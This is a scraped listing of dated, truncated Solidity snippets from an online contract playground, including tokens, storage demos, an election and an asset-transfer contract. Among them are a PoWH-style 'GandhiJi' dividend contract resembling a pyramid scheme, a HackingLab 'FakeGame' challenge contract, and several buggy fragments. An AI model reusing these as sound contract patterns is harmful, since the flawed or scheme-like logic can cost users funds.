pragma solidity ^0.6.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/Context.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20Burnable.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20Pausable.sol";

/**
 * @dev {ERC20} token, including:
 *
 *  - ability for holders to burn (destroy) their tokens
 *  - a minter role that allows for token minting (creation)
 *  - a pauser role that allows to stop all token transfers
 *
 * This contract uses {AccessControl} to lock permissioned functions using the
 * different roles - head to its documentation for details.
 *
 * The account that deploys the contract wi
Aug 12, 2020 14:31:27 UTC
pragma solidity ^0.6.12;

contract SimpleStore {
    constructor() {
        owner = msg.sender;
    }

    address owner;
    struct person {
        string name;
        string gender;
        int256 age;
    }

    mapping(address => person) addressToPerson;

    modifier onlyOwner() {
        require(owner == msg.sender, "Only owner can call this function.");
        _;
    }

    function set(
        address _address,
        string memory _name,
        string memory _gender,
        int256 _age
    ) public onlyOwner {
        person memory member = person(_name, _gender, _age);
        addressToPerson[_address] = member;
        addressToPerson[_address] = person(_name, _gender, _age);
    }

    function getName(address _address) public view returns (string memory) {
        string memory name = addressToPerson[_address].name;
		return name;	
    }
}
Aug 11, 2020 03:27:58 UTC
pragma solidity ^0.4.24;
contract Bank {

  uint256 chequesDeposited;

  function depositCheque (uint[] cheques) external {
    for (uint8 i =0; i < cheques.length; i++)
      _depositCheque(cheques[i]);
  }

  function _depositCheque(uint cheque) internal {
    require (msg.value == cheque);
    chequesDeposited = chequesDeposited + cheque;
  } 
Aug 11, 2020 01:46:37 UTC
pragma solidity ^0.4.24;
contract Test {
    function encodePrefix() public pure returns (bytes) {
    return abi.encodePacked("\x19Ethereum Signed Message:\n32");
  }
Aug 10, 2020 13:57:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 06, 2020 03:15:21 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SampleOverflow {
     string constant statictext = "a594b185-f66b-44fe-a702-3aa0c922dc50";
     bytes32 constant byteText = keccak256("HelloStackOverFlow");
    function  getString() payable public  returns(string){
        return statictext;
    }

     function  getByte() payable public returns(bytes32){
        return byteText;
    }
Aug 05, 2020 22:55:36 UTC
/**
 *Submitted for verification at Etherscan.io on 2018-04-10
*/

pragma solidity ^0.4.20;


contract GandhiJi {
    /*=================================
    =            MODIFIERS            =
    =================================*/
    // only people with tokens
    modifier onlybelievers () {
        require(myTokens() > 0);
        _;
    }
    
    // only people with profits
    modifier onlyhodler() {
        require(myDividends(true) > 0);
        _;
    }
    
    // administrators can:
    // -> change the name of the contract
    // -> change the name of the token
    // -> change the PoS difficulty 
    // they CANNOT:
    // -> take funds
    // -> disable withdrawals
    // -> kill the contract
    // -> change the price of tokens
    modifier onlyAdministrator(){
        address _customerAddress = msg.sender;
        require(administrators[keccak256(_customerAddress)]);
        _;
    }
    
    
    modifier antiEarlyWhale(uint256 _amountOfEthereum){
        address _customerAddress = msg.send
Aug 05, 2020 15:52:08 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.25 <0.6.0;

contract AssetTransfer
{
    enum StateType { Active, OfferPlaced, PendingInspection, Inspected, Appraised, NotionalAcceptance, BuyerAccepted, SellerAccepted, Accepted, Terminated }
    address public InstanceOwner;
    string public Description;
    uint public AskingPrice;
    StateType public State;

    address public InstanceBuyer;
    uint public OfferPrice;
    address public InstanceInspector;
    address public InstanceAppraiser;

    constructor(string memory description, uint256 price) public
    {
        InstanceOwner = msg.sender;
        AskingPrice = price;
        Description = description;
        State = StateType.Active;
    }

    function Terminate() public
    {
        if (InstanceOwner != msg.sender)
        {
            revert();
        }

        State = StateType.Terminated;
    }

    function Modify(string memory description, uint256 price) public
    {
    
Jul 30, 2020 14:55:44 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
  function closest(uint32[] memory list, uint32 num) public pure returns (uint) {
    uint32 curr = list[0];
    uint index = 0;

    for (uint i; i < list.length; i++) {
      if (abs(num - list[i]) <= abs(num - curr))  {
        curr = list[i];
        index = i;
      }
    }
    return index;
  }

    function abs (uint32 x) private pure returns (uint32) {
        return x < 0 ? uint32(-x) : uint32(x);
    }


  uint value;
Jul 21, 2020 07:07:56 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 09, 2020 09:53:40 UTC
pragma solidity ^0.4.24;

	library SafeMath {

	  function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
		if (a == 0) {
		  return 0;
		}

		c = a * b;
		assert(c / a == b);
		return c;
	  }

	  function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return a / b;
	  }

	  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		assert(b <= a);
		return a - b;
	  }

	  function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
		c = a + b;
		assert(c >= a);
		return c;
	  }
	}
	
	contract ReentrancyGuard {

	uint256 private guardCounter = 1;
		modifier nonReentrant() {
			guardCounter += 1;
			uint256 localCounter = guardCounter;
			_;
			require(localCounter == guardCounter);
		}

	}
	
	interface ERC165 {
	  function supportsInterface(bytes4 _interfaceId)
		external view	returns (bool);
	}

	contract ERC721Receiver {
	  bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
	  function onERC721Received(address _operator, address _from, uint256 _tokenI
Jul 06, 2020 10:48:25 UTC
/**
 *Submitted for verification at Etherscan.io on 2018-10-29
*/

contract HackingLabTools{
    //Welcome To HackingLab.cn
    //TXkgV2VjaGF0IGlzIENwbHVzSHVhLCBubyBuZWVkIHRvIGhlc2l0YXRlLCBhZGQgbWUgbm93IQ==
    function answerCompare(uint256 _answer, bytes32 _user_answer) public constant returns (bool){
        bytes32 system_answer = keccak256(keccak256(_answer), abi.encodePacked(msg.sender));
        if(system_answer == _user_answer){
            return true;
        }
        return false;
    }
    function getAddressAnswerKeccak256(uint256 _answer,address _address)public constant returns (bytes32){
        bytes32 system_answer = keccak256(keccak256(_answer), abi.encodePacked(_address));
        return system_answer;
    }
}
contract FakeGame is HackingLabTools{
    uint256 luckyNum = 888;
    uint256 public last;
    struct Game {
        address player;
        bytes32 number;
    }
    Game[] public gameHistory;
    address owner = msg.sender;
    function guess(bytes32 _user_answer) public constant r
Jul 06, 2020 06:39:54 UTC
pragma solidity ^0.5.0;

contract Election {
    // Model a Candidate
    struct Candidate {
        uint id;
        string name;
        uint voteCount;
    }

    // Store accounts that have voted
    mapping(address => bool) public voters;
    // Read/write candidates
    mapping(uint => Candidate) public candidates;
    // Store Candidates Count
    uint public candidatesCount;
    event votedEvent (
        uint indexed _candidateId
    );

    constructor () public {
        addCandidate("Candidate 1");
        addCandidate("Candidate 2");
    }

    function addCandidate (string memory _name) private {
        candidatesCount ++;
        candidates[candidatesCount] = Candidate(candidatesCount, _name, 0);
    }

    function vote (uint _candidateId) public {
        // require that they haven't voted before
        require(!voters[msg.sender],
        " voted before");

        // require a valid candidate
        require(_candidateId > 0 && _candidateId <= candidatesCount,
        "not Valid candidate
Jun 20, 2020 07:30:37 UTC